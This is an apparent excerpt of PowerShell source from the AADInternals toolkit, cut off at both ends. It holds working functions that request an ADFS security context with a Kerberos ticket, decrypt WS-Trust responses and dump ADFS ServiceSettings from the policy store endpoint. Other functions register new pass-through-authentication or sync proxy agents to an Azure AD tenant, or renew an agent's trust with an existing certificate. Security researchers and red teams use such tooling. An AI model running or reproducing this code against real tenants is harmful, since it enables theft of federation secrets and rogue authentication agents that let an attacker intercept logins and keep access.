[Parameter(Mandatory=$True)] [byte[]]$CipherText, [Parameter(Mandatory=$True)] [byte[]]$Key ) Process { # The first 16 bytes are the IV $InitialVector = $cipherText[0..15] $encText = $cipherText[16..($cipherText.Count-1)] # Decrypt the cipher text [System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create() $AES.Mode = "CBC" $AES.Key = $Key $AES.IV = $InitialVector $transformer = $AES.CreateDecryptor() $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($encText,0,$encText.Count) $cs.Close() $cs.Dispose() $transformedData = $ms.ToArray() $ms.Close() $ms.Dispose() return $transformedData } } # Encrypts the given plaintext # Apr 10th 2021 function Encrypt-WSTrustCipherData { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$PlainText, [Parameter(Mandatory=$True)] [byte[]]$Key ) Process { # Create a random IV $InitialVector = Get-RandomBytes -Bytes 16 # Encrypt the cipher text [System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create() $AES.Mode = "CBC" $AES.Key = $Key $AES.IV = $InitialVector $transformer = $AES.CreateEncryptor() $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($PlainText,0,$PlainText.Count) $cs.Close() $cs.Dispose() $transformedData = $ms.ToArray() $ms.Close() $ms.Dispose() return [byte[]]($InitialVector+$transformedData) } } # Derives the key from proof token and nonce # Apr 9th 2021 function Derive-WSTrustKey { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$Nonce, [Parameter(Mandatory=$False)] [int]$Bytes = 32 ) Begin { # Default label (mis)used by Microsoft $Label = [text.encoding]::ASCII.GetBytes("WS-SecureConversationWS-SecureConversation") } Process { $derivedKey = Get-PSHA1 -Secret $Key -Seed ($label+$Nonce) -Bytes $Bytes return $derivedKey } } # Creates a SOAP envelope for RST # Apr 13th 2021 function Create-RSTEnvelope { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [string]$Server, [Parameter(Mandatory=$True)] [String]$KerberosTicket ) Process { $messageId = (New-Guid).ToString() $envelope=@" <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"> <s:Header> <a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action> <a:MessageID>urn:uuid:$messageId</a:MessageID> <a:ReplyTo> <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address> </a:ReplyTo> <a:To s:mustUnderstand="1">http://$Server/adfs/services/policystoretransfer</a:To> </s:Header> <s:Body> <t:RequestSecurityToken Context="uuid-$((New-Guid).ToString())" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"> <t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType> <t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType> <t:KeySize>256</t:KeySize> <t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/spnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">$KerberosTicket</t:BinaryExchange> </t:RequestSecurityToken> </s:Body> </s:Envelope> "@ return $envelope } } # Parse RST response # Apr 14th 2021 function Parse-RSTR { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [xml]$RSTR, [Parameter(Mandatory=$True)] [byte[]]$Key ) Process { # Extract information from the RSTR $krb_response = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].BinaryExchange.'#text' $proofToken = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedProofToken.EncryptedKey.CipherData.CipherValue $keyIdentifier = [guid](($RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2]) $context = $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Id # Parse the ticket $ticket = Parse-Asn1 -Data $krb_response # Get the encrypted kerberos ticket $encKRB = $ticket.Data.Data[2].Data.Data $encKRB = Parse-Asn1 -Data $encKRB $encKRB = $encKRB.Data[2].Data.Data[2].Data.Data[1].Data.Data # Decrypt the ticket $decKRB = Decrypt-Kerberos -Data $encKRB -Key $Key -Type APRepPart -Crypto RC4 $decKRB = Parse-Asn1 -Data $decKRB # Get the sequence number and subkey $SequenceNumber = $decKRB.Data.Data[3].Data.Data $SubKey = $decKRB.Data.Data[2].Data.Data[1].Data.Data $EncryptionType = $decKRB.Data.Data[2].Data.Data[0].Data.Data Write-Verbose "Subkey: $(Convert-ByteArrayToB64 -Bytes $subKey)" Write-Verbose "Sequence num: $sequenceNumber" # Extract the key from the proof token $securityKey = (Parse-GSS_Wrap -Type $EncryptionType -Data $proofToken -SessionKey $subKey -Direction Initiator -SequenceNumber $sequenceNumber)[0..31] Write-Verbose "Security key: $(Convert-ByteArrayToB64 -Bytes $securityKey)" Write-Verbose "Context: $context" Write-Verbose "Identifier: $keyIdentifier" # Construct the return value $retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $securityKey; "Identifier" = $keyIdentifier} return $retVal } } # Creates a SOAP envelope for RST SCT # Apr 14th 2021 function Create-SCTEnvelope { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$ClientSecret, [Parameter(Mandatory=$True)] [String]$Context, [Parameter(Mandatory=$True)] [guid]$KeyIdentifier, [Parameter(Mandatory=$True)] [string]$Server ) Process { $payload = "<t:RequestSecurityToken xmlns:t=""http://schemas.xmlsoap.org/ws/2005/02/trust""><t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:Entropy><t:BinarySecret Type=""http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce"" u:Id=""uuid-$((New-Guid).ToString())"">$(Convert-ByteArrayToB64 -Bytes $ClientSecret)</t:BinarySecret></t:Entropy><t:KeySize>256</t:KeySize></t:RequestSecurityToken>" $action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT" $envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action return $envelope } } # Parse CST response # Apr 14th 2021 function Parse-SCTR { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [xml]$SCTR, [Parameter(Mandatory=$True)] [byte[]]$Key ) Process { # Parse the response and fetch the server secret [xml]$xPlaintext = Parse-ADFSResponse -Response $SCTR -Key $Key $token = $xPlaintext.RequestSecurityTokenResponse.Entropy.BinarySecret.'#text' $serverSecret = Convert-B64ToByteArray -B64 $token $computedKey = Get-PSHA1 -Secret $clientSecret -Seed $serverSecret -Bytes 32 $context = $xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Id $keyIdentifier = [guid](($xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2]) Write-Verbose "Server secret: $(Convert-ByteArrayToB64 -Bytes $serverSecret)" Write-Verbose "Computed key: $(Convert-ByteArrayToB64 -Bytes $computedKey)" Write-Verbose "Context: $context" Write-Verbose "Identifier: $keyIdentifier" # Construct the return value $retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $computedKey; "Identifier" = $keyIdentifier} return $retVal } } # Checks whether the response is a soap error # Apr 15th 2021 function Check-SoapError { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [xml]$Message ) Process { # Check for the fault message if($Message.Envelope.Body.Fault) { $Message = $Message.Envelope.Body.Fault.OuterXml } if($Message.Fault) { $reason = $Message.Fault.Reason.Text.'#text' throw $reason } } } # Parse ADFS Soap response # Apr 14th 2021 function Parse-ADFSResponse { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [xml]$Response, [Parameter(Mandatory=$True)] [byte[]]$Key ) Process { # Extract nonce and cipher texts # The first nonce is used to derive key used for ENCRYPTING, the second one is for SIGNING # The cipher data in header is the signature block, which is not needed here #$nonce0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[0].Nonce #$cipher0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.EncryptedData.CipherData.CipherValue $nonce1 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[1].Nonce $cipher1 = Convert-B64ToByteArray -B64 $Response.Envelope.Body.EncryptedData.CipherData.CipherValue # Derive the key $derivedKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 Write-Verbose "Nonce: $(Convert-ByteArrayToB64 -Bytes $nonce1)" Write-Verbose "Derived key: $(Convert-ByteArrayToB64 -Bytes $derivedKey)" # Decrypt the cipher data #$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher0 -Key $derivedKey #$plainText = [text.encoding]::UTF8.GetString($bPlainText) $bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher1 -Key $derivedKey $plainText = [text.encoding]::UTF8.GetString($bPlainText) Check-SoapError -Message $plainText return $plainText } } # Creates a SOAP envelope for ADFS request # Apr 14th 2021 function Create-ADFSRequest { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [String]$Context, [Parameter(Mandatory=$True)] [guid]$KeyIdentifier, [Parameter(Mandatory=$True)] [string]$Server ) Process { $payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>ServiceSettings</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>" $action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState" $envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action return $envelope } } # Invokes a ADFS SOAP request # Apr 13th 2021 function Invoke-ADFSSoapRequest { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [String]$Context, [Parameter(Mandatory=$True)] [guid]$KeyIdentifier, [Parameter(Mandatory=$True)] [string]$Server, [Parameter(Mandatory=$True)] [string]$Command ) Process { # Create the envelope $payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>$Command</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>" $action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState" $envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $server -Payload $payload -Action $action try { [xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml" } catch { # Catch the error and try to parse the SOAP document $str=$_.Exception.Response.GetResponseStream() $buf = new-object byte[] $str.Length $str.Position = 0 $str.Read($buf,0,$str.Length) | Out-Null [xml]$response=[text.encoding]::UTF8.GetString($buf) } return Parse-ADFSResponse -Response $response -Key $Key } } # Creates a SOAP envelope for the second RST request # Apr 13th 2021 function Create-ADFSSoapEnvelope { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [String]$Context, [Parameter(Mandatory=$True)] [guid]$KeyIdentifier, [Parameter(Mandatory=$True)] [string]$Server, [Parameter(Mandatory=$True)] [string]$Payload, [Parameter(Mandatory=$True)] [string]$Action ) Process { # Set some required variables $STSContext = $Context $messageID = (New-Guid).ToString() $STIdentifier = $KeyIdentifier.ToString() $TSIdentifier = (New-Guid).ToString() $now = Get-Date $exp = $now.AddMinutes(5) $created = $now.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z" $expires = $exp.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z" # Create nonce and derive keys for signing and encrypting $nonce0 = Get-RandomBytes -Bytes 16 $nonce1 = Get-RandomBytes -Bytes 16 $signingKey = Derive-WSTrustKey -Key $Key -Nonce $nonce0 -Bytes 24 $encryptionKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 -Bytes 32 # Create the SOAP request and encrypt it $cipherText = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($Payload)) -Key $encryptionKey) # # Create required xml elements. # Note! Due to canonicalization MS is using in the back-end, the xml MUST NOT HAVE ANY WHITE SPACES! # All xml elements here are already canonicalized with C14N exclusive. So, changing order of any attributes etc. will break the signature! # # Create a body element $xBody = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2""><e:EncryptedData xmlns:e=""http://www.w3.org/2001/04/xmlenc#"" Id=""_3"" Type=""http://www.w3.org/2001/04/xmlenc#Content""><e:EncryptionMethod Algorithm=""http://www.w3.org/2001/04/xmlenc#aes256-cbc""></e:EncryptionMethod><KeyInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference URI=""#_1"" ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk""></o:Reference></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>$cipherText</e:CipherValue></e:CipherData></e:EncryptedData></s:Body>" # Create a body element for calculating the digest. MUST BE "expanded" so that the cipher text is in decrypted form. $xBody2 = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2"">$Payload</s:Body>" $xTimeStamp = "<u:Timestamp xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""uuid-$TSIdentifier-2""><u:Created>$created</u:Created><u:Expires>$expires</u:Expires></u:Timestamp>" $xAction = "<a:Action xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_4"" s:mustUnderstand=""1"">$Action</a:Action>" $xMessageId = "<a:MessageID xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_5"">urn:uuid:$messageID</a:MessageID>" $xReplyTo = "<a:ReplyTo xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_6""><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo>" $xTo = "<a:To xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_7"" s:mustUnderstand=""1"">http://$Server/adfs/services/policystoretransfer</a:To>" # Calculate digests and generate the SignedInfo $digest_2 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xBody2) $digest_4 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xAction) $digest_5 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xMessageId) $digest_6 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xReplyTo) $digest_7 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTo) $TSdigest= Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTimeStamp) $signedInfo = "<SignedInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><CanonicalizationMethod Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></CanonicalizationMethod><SignatureMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#hmac-sha1""></SignatureMethod><Reference URI=""#_2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_2</DigestValue></Reference><Reference URI=""#_4""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_4</DigestValue></Reference><Reference URI=""#_5""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_5</DigestValue></Reference><Reference URI=""#_6""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_6</DigestValue></Reference><Reference URI=""#_7""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_7</DigestValue></Reference><Reference URI=""#uuid-$TSIdentifier-2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$TSdigest</DigestValue></Reference></SignedInfo>" # Generate the signature by calculating HMACSHA1 of SignedInfo using the signing key $HMAC = [System.Security.Cryptography.HMACSHA1]::new($signingKey) $signatureValue = Convert-ByteArrayToB64 -Bytes $HMAC.ComputeHash([text.encoding]::UTF8.getBytes($signedInfo)) # Generate Signature element and encrypt it using the encryption key $xSignature = "<Signature xmlns=""http://www.w3.org/2000/09/xmldsig#"">$signedInfo<SignatureValue>$signatureValue</SignatureValue><KeyInfo><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk"" URI=""#_0""/></o:SecurityTokenReference></KeyInfo></Signature>" $encSignature = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($xSignature)) -Key $encryptionKey) # Create the envelope $envelope = @" <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"> <s:Header> $xAction $xMessageId $xReplyTo $xTo <o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> $xTimeStamp <SecurityContextToken u:Id="$STSContext" xmlns="http://schemas.xmlsoap.org/ws/2005/02/sc"> <Identifier>urn:uuid:$STIdentifier</Identifier> </SecurityContextToken> <c:DerivedKeyToken u:Id="_0" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc"> <o:SecurityTokenReference> <o:Reference URI="#$STSContext"/> </o:SecurityTokenReference> <c:Offset>0</c:Offset> <c:Length>24</c:Length> <c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce0)</c:Nonce> </c:DerivedKeyToken> <c:DerivedKeyToken u:Id="_1" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc"> <o:SecurityTokenReference> <o:Reference URI="#$STSContext"/> </o:SecurityTokenReference> <c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce1)</c:Nonce> </c:DerivedKeyToken> <e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#"> <e:DataReference URI="#_3"/> <e:DataReference URI="#_8"/> </e:ReferenceList> <e:EncryptedData Id="_8" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#"> <e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/> <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"> <o:SecurityTokenReference> <o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#_1"/> </o:SecurityTokenReference> </KeyInfo> <e:CipherData> <e:CipherValue>$encSignature</e:CipherValue> </e:CipherData> </e:EncryptedData> </o:Security> </s:Header> $xBody </s:Envelope> "@ $HMAC.Dispose() return $envelope } }
MSAppProxy.ps1
AADInternals-0.9.4
# This file contains functions for Microsoft App Proxy Add-Type -AssemblyName System.Web # Registers App proxy agent to the Azure AD # Apr 2nd 2020 # May 5th 2022: Added UpdateTrust function Register-ProxyAgent { <# .SYNOPSIS Registers a new MS App Proxy agent to Azure AD .DESCRIPTION Registers a new MS App Proxy agent to Azure AD. Currently Sync and PTA agents are supported. .PARAMETER MachineName Machine name used to register the proxy agent .PARAMETER AgentType Type of the proxy agent. One of "PTA","Sync" .PARAMETER AgentGroup The Agent group where to add the new agent. .PARAMETER UpdateTrust Instead of register a new agent, updates the trust of existing one. As a result, a new proxy certificate is created. .PARAMETER Bootstrap Filename of existing bootstrap configuration file. .PARAMETER PfxFileName The name of an existing proxy agent certificate used to update trust. .PARAMETER PfxPassword Password of the existing proxy agent certificate. .Example $pt=Get-AADIntAccessTokenForPTA PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server1.company.com -AgentType PTA -FileName server1-pta.pfx .Example $pt=Get-AADIntAccessTokenForPTA PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server2.company.com -AgentType Sync -FileName server2-sync.pfx #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$MachineName, [Parameter(Mandatory=$False)] [String]$FileName, [Parameter(Mandatory=$True)] [Validateset("PTA","Sync")] [String]$AgentType, [Parameter(Mandatory=$False)] $AgentGroup, [Parameter(Mandatory=$False)] [bool]$UpdateTrust, [Parameter(Mandatory=$False)] [String]$Bootstrap, [Parameter(Mandatory=$False)] [String]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword ) Begin { $AgentInfo=@{ "PTA"= @{ "FeatureString" = "PassthroughAuthentication" "UserAgent" = "PassthroughAuthenticationConnector/1.5.643.0" } "Sync"= @{ "FeatureString" = "SyncFabric" "UserAgent" = "SyncFabricConnector/1.1.96.0" } } } Process { if($UpdateTrust) { # Load the old certificate $cert = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable $tenantId = $cert.Subject.Split("=")[1] } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" $tenantId = Get-TenantID -AccessToken $AccessToken } # Set some variables $OSLanguage="1033" $OSLocale="0409" $OSSku="8" $OSVersion="10.0.17763" # Create a private key and do something with it to get it stored $rsa=[System.Security.Cryptography.RSA]::Create(2048) # Initialize the Certificate Signing Request object $CN="" # The name doesn't matter $req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1) if($AgentType -eq "PTA") { # Key usage $req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509KeyUsageExtension]::new([System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DigitalSignature -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::NonRepudiation -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::KeyEncipherment -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DataEncipherment, $false)) # TLS Web client authentication $oidCollection = [System.Security.Cryptography.OidCollection]::new() $oidCollection.Add([System.Security.Cryptography.Oid]::new("1.3.6.1.5.5.7.3.2")) | Out-Null $req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension]::new($oidCollection, $true)) # Add the public Key to the request $req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509SubjectKeyIdentifierExtension]::new($req.PublicKey,$false)) # Create the signing request $csr=$req.CreateSigningRequest() } elseif($AgentType -eq "Sync") { # This must be done this way cause MS CSR classes doesn't support attributes :( $csr = NewCSRforSync -MachineName $MachineName -PublicKey $req.PublicKey.EncodedKeyValue.RawData } $b64Csr=[convert]::ToBase64String($csr) # Create the request body if($UpdateTrust) { if($Bootstrap -and (Test-Path $Bootstrap)) { Write-Verbose "Loading bootstrap from $Bootstrap" [xml]$config = Get-Content -Path $Bootstrap -Encoding UTF8 } else { Write-Verbose "Getting bootstrap using $($cert.Thumbprint) as $MachineName" [xml]$config = Get-BootstrapConfiguration -Certificate $cert -MachineName $MachineName } if(!$config) { Write-Error "Could not load bootstrap!" return } $trustEndpoint = $config.BootstrapResponse.TrustRenewEndpoint $body=@" <TrustRenewalRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration.TrustRenewal" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> <Base64Csr xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration">$b64Csr </Base64Csr> <TrustRenewalRequestSettings> <SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings"> <a:MachineName>$machineName</a:MachineName> <a:OsLanguage>$OSLanguage</a:OsLanguage> <a:OsLocale>$OSLocale</a:OsLocale> <a:OsSku>$OSSku</a:OsSku> <a:OsVersion>$OSVersion</a:OsVersion> </SystemSettingsInformation> <ConnectorVersion>1.5.2482.0</ConnectorVersion> </TrustRenewalRequestSettings> </TrustRenewalRequest> "@ # Renew trust and get the certificate $response = Invoke-RestMethod -UseBasicParsing -Uri "$trustEndPoint/RenewTrustCertificate" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"} -Certificate $cert if($response.TrustRenewalResult.IsSuccessful.'#text' -eq "true") { # Get the certificate $b64Cert = $response.TrustRenewalResult.Certificate.'#text' } else { # Something went wrong Write-Error $response.TrustRenewalResult.ErrorMessage.'#text' } } else { $body=@" <RegistrationRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> <Base64Csr>$b64Csr </Base64Csr> <AuthenticationToken>$AccessToken</AuthenticationToken> <Base64Pkcs10Csr i:nil="true"/> <Feature>ApplicationProxy</Feature> <FeatureString>$($AgentInfo[$AgentType]["FeatureString"])</FeatureString> <RegistrationRequestSettings> <SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings"> <a:MachineName>$machineName</a:MachineName> <a:OsLanguage>$OSLanguage</a:OsLanguage> <a:OsLocale>$OSLocale</a:OsLocale> <a:OsSku>$OSSku</a:OsSku> <a:OsVersion>$OSVersion</a:OsVersion> </SystemSettingsInformation> <PSModuleVersion>1.5.643.0</PSModuleVersion> <SystemSettings i:type="a:SystemSettings" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings"> <a:MachineName>$machineName</a:MachineName> <a:OsLanguage>$OSLanguage</a:OsLanguage> <a:OsLocale>$OSLocale</a:OsLocale> <a:OsSku>$OSSku</a:OsSku> <a:OsVersion>$OSVersion</a:OsVersion> </SystemSettings> </RegistrationRequestSettings> <TenantId>$tenantId</TenantId> <UserAgent>$($AgentInfo[$AgentType]["UserAgent"])</UserAgent> </RegistrationRequest> "@ # Register the app and get the certificate $response = Invoke-RestMethod -UseBasicParsing -Uri "https://$tenantId.registration.msappproxy.net/register/RegisterConnector" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"} if($response.RegistrationResult.IsSuccessful -eq "true") { # Get the certificate $b64Cert = $response.RegistrationResult.Certificate } else { # Something went wrong Write-Error $response.RegistrationResult.ErrorMessage } } if(![string]::IsNullOrEmpty($b64Cert)) { # Convert certificate to byte array $binCert = [convert]::FromBase64String($b64Cert) # Create a new x509certificate $cert = 